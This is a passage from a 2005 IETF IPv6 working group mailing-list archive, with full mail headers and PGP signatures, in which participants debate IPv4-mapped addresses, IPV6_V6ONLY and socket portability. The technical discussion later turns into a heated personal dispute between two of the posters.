IPV6_V6ONLY. We just need to wait for all platforms to implement it :) > What has Netscape to do with Apache? Or am I really missing something? > Then again I don't follow corporate takeovers and such, got better > things to do; Netscape do have some influence with Mozilla/Firefox et > al, and they also had a lot of problems with this, they actually almost > refused to do a Windows IPv6 version because they didn't understand the > concept of a separate IPv6 and IPv4 socket. Also see: > https://bugzilla.mozilla.org/show_bug.cgi?id=3D175340 Just to clear things up, I wrote a lot of the code that deals with it in Apache httpd, and apr. And I've never worked for Netscape. I think Jim may be implying that Netscape took a different (possibly superiour) approach. I know not :) > There are many more examples of code out on the internet that > demonstrate that having the v4-mapped addresses only gives a lot of > issues. You haven't named one application though that does not have it. In fairness, this does not matter. mapped-addresses are useful from a certain perspective anyway. If there is some in-house trivial application that only needs to run on Linux, there is no good reason=20 why mapped-addresses should not be used as an easy migration. Whether or not the portability problems outweigh this kind of limited benefit is a subjective judegment call - and one on which consensus is unlikely to ever be reached. RFC3493 encourages vendors to implement the IPV6_V6ONLY option (something neither 2133 nor 2553 had), so that's the nod that's needed on this front. Really the only remaining portability issue is the default behaviour of bind(::) (without any specific options set).=20 So in summary, my mind has been changed a little on mapped-addresses - in that although I wouldn't use them, they have a use in limited circumstances - but some kind of encouragement to vendors to consolidate a standard behavior for a bind/listen call could be desirable. --=20 Colm MacC=E1rthaigh Public Key: colm+pgp@stdlib.ne= t -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 08:36:15 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA02329 for ; Wed, 2 Feb 2005 08:36:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwHzz-0002XR-Ar for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 05:44:39 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwHfu-00014v-SR; Wed, 02 Feb 2005 05:23:54 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwHYk-0007jr-6L for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 05:16:30 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25695 for ; Wed, 2 Feb 2005 05:16:27 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwHr4-0002Hj-3H for ipv6@ietf.org; Wed, 02 Feb 2005 05:35:27 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id 75D292401C; Wed, 2 Feb 2005 11:16:27 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 02678-01; Wed, 2 Feb 2005 11:16:27 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id DE11F2400D; Wed, 2 Feb 2005 11:16:26 +0100 (CET) From: Jeroen Massar To: colm@stdlib.net In-Reply-To: <20050202101241.GA5353@castlerea.stdlib.net.> References: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FF7@tayexc13.americas.cpqcorp.net> <1107337268.8103.79.camel@firenze.zurich.ibm.com> <20050202101241.GA5353@castlerea.stdlib.net.> Organization: Unfix Date: Wed, 02 Feb 2005 11:16:25 +0100 Message-Id: <1107339385.8103.86.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f Cc: IPv6 WG , "Bound, Jim" Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1107725662==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: f607d15ccc2bc4eaf3ade8ffa8af02a0 --===============1107725662== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-izRw0mctWG804fiIW7u4" --=-izRw0mctWG804fiIW7u4 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 10:12 +0000, Colm MacCarthaigh wrote: > On Wed, Feb 02, 2005 at 10:41:08AM +0100, Jeroen Massar wrote: > So in summary, my mind has been changed a little on mapped-addresses > - in that although I wouldn't use them, they have a use in limited > circumstances - but some kind of encouragement to vendors to > consolidate a standard behavior for a bind/listen call could be > desirable. Full ack. Greets, Jeroen --=-izRw0mctWG804fiIW7u4 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBCAKh5KaooUjM+fCMRAgEEAJ9nPBcGAecyD7JFix4nEp093LH2fACgsoaJ CXTl50IFg9XiBpL103zH+uc= =cMi/ -----END PGP SIGNATURE----- --=-izRw0mctWG804fiIW7u4-- --===============1107725662== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1107725662==-- From ipv6-bounces@ietf.org Wed Feb 2 09:09:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA06161 for ; Wed, 2 Feb 2005 09:09:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwLUi-0008C3-FE for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 09:28:37 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwL9U-0001ug-83; Wed, 02 Feb 2005 09:06:40 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwL0D-00076a-Sz for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 08:57:05 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA04447 for ; Wed, 2 Feb 2005 08:57:02 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwLIa-0007h1-N3 for ipv6@ietf.org; Wed, 02 Feb 2005 09:16:05 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id C1A7A2401C; Wed, 2 Feb 2005 14:56:56 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 13276-09; Wed, 2 Feb 2005 14:56:56 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id F08702400D; Wed, 2 Feb 2005 14:56:55 +0100 (CET) From: Jeroen Massar To: "Bound, Jim" In-Reply-To: <9C422444DE99BC46B3AD3C6EAFC9711B084FA03B@tayexc13.americas.cpqcorp.net> References: <9C422444DE99BC46B3AD3C6EAFC9711B084FA03B@tayexc13.americas.cpqcorp.net> Organization: Unfix Date: Wed, 02 Feb 2005 14:56:54 +0100 Message-Id: <1107352614.8103.120.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: d8ae4fd88fcaf47c1a71c804d04f413d Cc: IPv6 WG Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1129631580==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cf3becbbd6d1a45acbe2ffd4ab88bdc2 --===============1129631580== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-eDrovPaFIrPAVXvdMaSQ" --=-eDrovPaFIrPAVXvdMaSQ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 08:34 -0500, Bound, Jim wrote: > I am not speaking to you anymore on the IETF and I do recall you now > from Brussels and your manners were the same there and your innuendos > without facts. Ahem? I *asked* you a simple question then: "What is the actual usage". This is what I ask mostly anybody I meet who is saying they are doing IPv6 connectivity, just out of pure interest and also most of the time to try and help people out to get actual traffic on the wires and to get it to the end users. I always present facts, but as you can't come up with them you apparently like to only put me off as a child. Well you are playing this game the completely wrong way. I am quite sure that the Chairs of this WG and the Area Directors can give some good comments about this style of messaging from you. Of course if it seems unfit what I am doing they can say that also, please do, but I think that those people at least will come up with an exact list of items what is so wrong about me then. > You insulted me and others thus you forfeit your right > to respect, at least from me, for some period. I or no one on this mail > list should have to put up with whiny gutless wonder email insulting > anal retentive commentary. Can you please tell me what did I insult you with? Is a question, such as the above so bad? I really wonder what I did to you to receive such answers from you. Which wrong side of the bed did you woke up from for the last couple of years? > Period. I will respond to you with my private > thoughts on your behavior and I believe you need a serious attitude > adjustment, and I am very open to helping you make that adjustment in > person some day. I will be back to you via personal email account and > will make it very clear to you how out of line you are and a few other > suggestions privately. I am very sorry for you that you have to act in such a way, certainly with all those 'nice supportive' and backed-up words you are mentioning above. Looks more like it is time to start fathering your own kids instead of trying to be the big bad bully and trying to push me in a corner, which really won't work with me, you picked the wrong person. I thought that the IETF was supposed to be an organization of professionals who could talk to each other, but the only thing you can come up with is accusations which don't make any sense at all. Greets, Jeroen PS: I really hope that somebody else is typing those silly messages on your behalf, you could claim that btw, no PGP signature ;) --=-eDrovPaFIrPAVXvdMaSQ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBCANwlKaooUjM+fCMRAnR4AJ4hIZQL+RVoUCw0VElmpAg/kRgyLQCdGoe7 gtYtNoUMlDtAsxnSB4grlnA= =+oXl -----END PGP SIGNATURE----- --=-eDrovPaFIrPAVXvdMaSQ-- --===============1129631580== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1129631580==-- From ipv6-bounces@ietf.org Wed Feb 2 09:46:02 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10126 for ; Wed, 2 Feb 2005 09:46:02 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwM42-0000w7-97 for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 10:05:06 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwLhD-0007yy-ED; Wed, 02 Feb 2005 09:41:31 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwLRS-0007iO-NC for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 09:25:15 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08015 for ; Wed, 2 Feb 2005 09:25:10 -0500 (EST) Received: from zmamail04.zma.compaq.com ([161.114.64.104]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwLjp-0000GW-Mp for ipv6@ietf.org; Wed, 02 Feb 2005 09:44:14 -0500 Received: from tayexg12.americas.cpqcorp.net (tayexg12.americas.cpqcorp.net [16.103.130.127]) by zmamail04.zma.compaq.com (Postfix) with ESMTP id B1B5A532E; Wed, 2 Feb 2005 09:24:42 -0500 (EST) Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by tayexg12.americas.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.211); Wed, 2 Feb 2005 09:24:42 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Wed, 2 Feb 2005 09:24:49 -0500 Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B084FA071@tayexc13.americas.cpqcorp.net> Thread-Topic: IPv6 Address Architecture update question Thread-Index: AcUJD91NpHFGBE/dQfCpJpFLBcmy0wAHCrrA From: "Bound, Jim" To: , "Jeroen Massar" X-OriginalArrivalTime: 02 Feb 2005 14:24:42.0643 (UTC) FILETIME=[EFD18E30:01C50932] X-Spam-Score: 0.0 (/) X-Scan-Signature: b5d20af10c334b36874c0264b10f59f1 Content-Transfer-Encoding: quoted-printable Cc: IPv6 WG Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 Content-Transfer-Encoding: quoted-printable Using AF_INET6 as only socket and handling both v4 and v6 can only be = done well if the implementation supports a hybrid v4-v6 stack. A pure = dual stack (code path for v4 and code path for v6 see URL pdf below) is = not friendly to use v4-mapped and I will assume all understand that on = this list. Basic examples that benefit from v4mapped are any app that = runs via inetd (e.g. ftp, telnet) and for more complex applications like = Netscape browser and Mozilla example removes the need for if and test = conditions for address types. Clearly if a vendor platform does not = support a hybrid stack and thus not optimal for v4mapped it creaates an = engineering trade-off. The market should not be driven by a few = implementations in any scenario is my hope. Most all implementations = support the use and option of v4mapped. We shall see how the = application market develops and in progress now. Another example is a = large database application vendor can use AF_INET6 to support both v4 = and v6 as one release and it reduces that part of the code path length = to deal with both address types and the user would be transparent to how = v4 or v6 is used by the application. See the IPv6 porting explanation at the URL below: http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html Good slides depicting the use of both IPv6-ONLY and v4mapped http://www.usipv6.com/2003arlington/presents/Eva_Castro.pdf /jim > -----Original Message----- > From: Colm MacCarthaigh [mailto:colm@stdlib.net]=20 > Sent: Wednesday, February 02, 2005 5:13 AM > To: Jeroen Massar > Cc: Bound, Jim; IPv6 WG > Subject: Re: IPv6 Address Architecture update question >=20 > On Wed, Feb 02, 2005 at 10:41:08AM +0100, Jeroen Massar wrote: > > We still have a chance IPv4 mapped to at least _deprecate_, that is=20 > > what I mentioned in my other message, the usage of these=20 > addresses and=20 > > to note that implementors should really be using separate sockets,=20 > > which is also what getaddrinfo() tells one to do. >=20 > RFC3493 solves this by having IPV6_V6ONLY. We just need to=20 > wait for all platforms to implement it :) >=20 > > What has Netscape to do with Apache? Or am I really missing=20 > something? > > Then again I don't follow corporate takeovers and such, got better=20 > > things to do; Netscape do have some influence with=20 > Mozilla/Firefox et=20 > > al, and they also had a lot of problems with this, they actually=20 > > almost refused to do a Windows IPv6 version because they didn't=20 > > understand the concept of a separate IPv6 and IPv4 socket. Also see: > > https://bugzilla.mozilla.org/show_bug.cgi?id=3D175340 >=20 > Just to clear things up, I wrote a lot of the code that deals=20 > with it in Apache httpd, and apr. And I've never worked for=20 > Netscape. I think Jim may be implying that Netscape took a=20 > different (possibly superiour) approach. I know not :) >=20 > > There are many more examples of code out on the internet that=20 > > demonstrate that having the v4-mapped addresses only gives a lot of=20 > > issues. You haven't named one application though that does=20 > not have it. >=20 > In fairness, this does not matter. mapped-addresses are=20 > useful from a certain perspective anyway. If there is some=20 > in-house trivial application that only needs to run on Linux,=20 > there is no good reason why mapped-addresses should not be=20 > used as an easy migration. >=20 > Whether or not the portability problems outweigh this kind of=20 > limited benefit is a subjective judegment call - and one on=20 > which consensus is unlikely to ever be reached. >=20 > RFC3493 encourages vendors to implement the IPV6_V6ONLY=20 > option (something neither 2133 nor 2553 had), so that's the=20 > nod that's needed on this front. >=20 > Really the only remaining portability issue is the default=20 > behaviour of > bind(::) (without any specific options set).=20 >=20 > So in summary, my mind has been changed a little on mapped-addresses > - in that although I wouldn't use them, they have a use in limited > circumstances - but some kind of encouragement to vendors=20 > to consolidate a standard behavior for a bind/listen call=20 > could be desirable. >=20 > --=20 > Colm MacC=E1rthaigh Public Key:=20 > colm+pgp@stdlib.net >=20 -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 09:51:16 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10753 for ; Wed, 2 Feb 2005 09:51:16 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwM96-00019V-Bz for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 10:10:20 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwLiC-0008Sm-U2; Wed, 02 Feb 2005 09:42:32 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwLWu-0003pi-If for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 09:30:52 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08480 for ; Wed, 2 Feb 2005 09:30:48 -0500 (EST) Received: from zmamail05.zma.compaq.com ([161.114.64.105]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwLpH-0000Rb-8N for ipv6@ietf.org; Wed, 02 Feb 2005 09:49:52 -0500 Received: from tayexg12.americas.cpqcorp.net (tayexg12.americas.cpqcorp.net [16.103.130.127]) by zmamail05.zma.compaq.com (Postfix) with ESMTP id B54C5BAEA; Wed, 2 Feb 2005 09:30:20 -0500 (EST) Received: from tayexc13.americas.cpqcorp.net ([16.103.130.26]) by tayexg12.americas.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.211); Wed, 2 Feb 2005 09:30:20 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Date: Wed, 2 Feb 2005 09:30:26 -0500 Message-ID: <9C422444DE99BC46B3AD3C6EAFC9711B084FA074@tayexc13.americas.cpqcorp.net> Thread-Topic: IPv6 Address Architecture update question Thread-Index: AcUJLxuHT1MXNMKsTNaASOZJlvm7XwABD3kQ From: "Bound, Jim" To: "Jeroen Massar" X-OriginalArrivalTime: 02 Feb 2005 14:30:20.0645 (UTC) FILETIME=[B9489150:01C50933] X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Content-Transfer-Encoding: quoted-printable Cc: IPv6 WG Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Content-Transfer-Encoding: quoted-printable >=20 > > I emphatically disagree > > with Itojun, cmetz, et al referenced and we had this debate > many years > > ago, then again had the debate, and that view lost and we > should not > > revisit it again. >=20 > You mean some people shoved the arguments away without having any=20 > background in the subject? Your statement above was the insult. We can discuss offline this is now not an IETF issue but until we resolve this privately it is best you and I not talk further in this forum. /jim -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 10:15:22 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA14350 for ; Wed, 2 Feb 2005 10:15:22 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwMWP-0001yG-MR for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 10:34:26 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwM4K-0008Gj-Lz; Wed, 02 Feb 2005 10:05:24 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwM20-0006vC-Nn for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 10:03:00 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12195 for ; Wed, 2 Feb 2005 10:02:56 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwMKL-0001XC-5M for ipv6@ietf.org; Wed, 02 Feb 2005 10:22:00 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id 54ECB2400D; Wed, 2 Feb 2005 16:02:49 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 17982-01; Wed, 2 Feb 2005 16:02:48 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id 420D224029; Wed, 2 Feb 2005 16:02:39 +0100 (CET) From: Jeroen Massar To: "Bound, Jim" In-Reply-To: <9C422444DE99BC46B3AD3C6EAFC9711B084FA071@tayexc13.americas.cpqcorp.net> References: <9C422444DE99BC46B3AD3C6EAFC9711B084FA071@tayexc13.americas.cpqcorp.net> Organization: Unfix Date: Wed, 02 Feb 2005 16:02:05 +0100 Message-Id: <1107356525.8103.164.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: 0770535483960d190d4a0d020e7060bd Cc: colm@stdlib.net, IPv6 WG Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1100088316==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9af087f15dbdd4c64ae6bbcdbc5b1d44 --===============1100088316== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-EgZwFZLe6OwOOlvj8NBp" --=-EgZwFZLe6OwOOlvj8NBp Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 09:24 -0500, Bound, Jim wrote: > Using AF_INET6 as only socket and handling both v4 and v6 can only be don= e > well if the implementation supports a hybrid v4-v6 stack. > A pure dual stack (code path for v4 and code path for v6 see URL pdf > below) is not friendly to use v4-mapped and I will assume all > understand that on this list. Apparently you don't understand this, because this is exactly what a number of people have been trying to explain to you already. Maybe it now has popped into your mind, can you then also be so nice and to at least acknowledge that you have been trying to spread a lot of nonsense on this subject, not even speaking about the weird stuff you are trying to push into my face. > Basic examples that benefit from v4mapped are any app that runs via inetd > (e.g. ftp, telnet) and for more complex applications like Netscape browse= r > and Mozilla example removes the need for if and test conditions for addre= ss types.=20 Wrong, as mentioned before, which is why I brought up the example, Mozilla is exactly one of the apps that has a problem: https://bugzilla.mozilla.org/show_bug.cgi?id=3D175340 They had the issue that binding twice, which is what one is supposed to do would cause issues on a Linux box, as they default to v4-mapped, but on any other platform it would work. > Clearly if a vendor platform does not support a hybrid stack and thus > not optimal for v4mapped it creaates an engineering trade-off. As mentioned before, Windows does not have a hybrid stack, and the current KAME code also has it turned off. Thus most* of the deployed base has a non-hybrid stack. * That is under the assumption that Windows + KAME + Linux together are 'most', which could quite well be true with the number of XP's out there on the market and the fact that KAME is in all the BSD's and a big part of Linux. > The market should not be driven by a few implementations in any scenari= o is my hope. Thus you agree that v4-mapped is bad because it does not exist on most deployed implementations? And thus that we could at least put a note on it > Most all implementations support the use and option of v4mapped. See my note above, Window+KAME+Linux. Unless you have a hidden OS somewhere that has ten millions of users. > We shall see how the application market develops and in progress now. > Another example is a large database application vendor can use AF_INET6 > to support both v4 and v6 as one release and it reduces that part of the > code path length to deal with both address types and the user would be > transparent to how v4 or v6 is used by the application. That is absolutely true, unless you try to run the code on a different platform, which does not have this. Thus having you to modify the code anyway, then finding out that it does not work the same everywhere, as one would expect and thus causing a lot of problems which are totally unnecessary. A simple addition to the doc saying: do not use it unless you do not want to be portable. Is enough. > See the IPv6 porting explanation at the URL below: >=20 > http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html Which I mailed to the mailinglist before exactly because of the above, which underlines the issues which we are discussing. Yes, discussing again, because it was 'forgotten' the last time. Do note also that all Eva's examples use getaddrinfo(). On hybrid stack boxes this will thus fail the second bind to 0.0.0.0. Thus the first iteration will bind to "::", the second Maybe if you would read the above and the other messages I sent you would have actually understood this before. Sorry that I am not an native American speaker, maybe that is the issue, nevertheless I am really wondering what the _real_ problem is. On Wed, 2005-02-02 at 09:30 -0500, Bound, Jim wrote:=20 > >=20 > > > I emphatically disagree > > > with Itojun, cmetz, et al referenced and we had this debate > > many years > > > ago, then again had the debate, and that view lost and we > > should not > > > revisit it again. > >=20 > > You mean some people shoved the arguments away without having any=20 > > background in the subject? >=20 > Your statement above was the insult. The insult is against all the people who are being ignored, like me, which is what I pointed you to. See your own message above, for a perfectly good example of this, you most likely did not even read the URL of Eva's site, which I put on the list before mentioning that is the way that it should be done and is being done and is causing problems, see above. The fact that you don't ever say _why_ you disagree doesn't help a bit btw. If you would at least once mention that, instead of trying to curse at people, maybe I could find out what you don't get of my messages and try to put it in another form. > We can discuss offline this is now > not an IETF issue but until we resolve this privately it is best you and > I not talk further in this forum. This more sounds like a "you shut up" than anything else. If you want to do any communications on this subject to me, don't forget to CC at least the IPv6 WG chairs + IAD's, then they can follow the subject and see what kind of weird things you will bring up next against me. Apparently you do not want to discuss this in public, I wonder why actually. It is about how the IETF works, thus it is certainly IETF related. I for sure have no personal relation with you and with the way you are trying to treat me, I am actually very inclined to not even think of doing that at all. If there is anybody who needs to feel insulted it is me, but with that attitude of yours and the messages you are sending I can not even feel far from insulted, only wondering a lot why you are acting in this way. Greets, Jeroen --=-EgZwFZLe6OwOOlvj8NBp Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBCAOttKaooUjM+fCMRAu93AJ9ScRNOTfTZvf1LHP9hQZVJQATLcwCfXBCm TMnP798pp23WsFOrcelRVeo= =F/P+ -----END PGP SIGNATURE----- --=-EgZwFZLe6OwOOlvj8NBp-- --===============1100088316== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1100088316==-- From ipv6-bounces@ietf.org Wed Feb 2 10:48:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19277 for ; Wed, 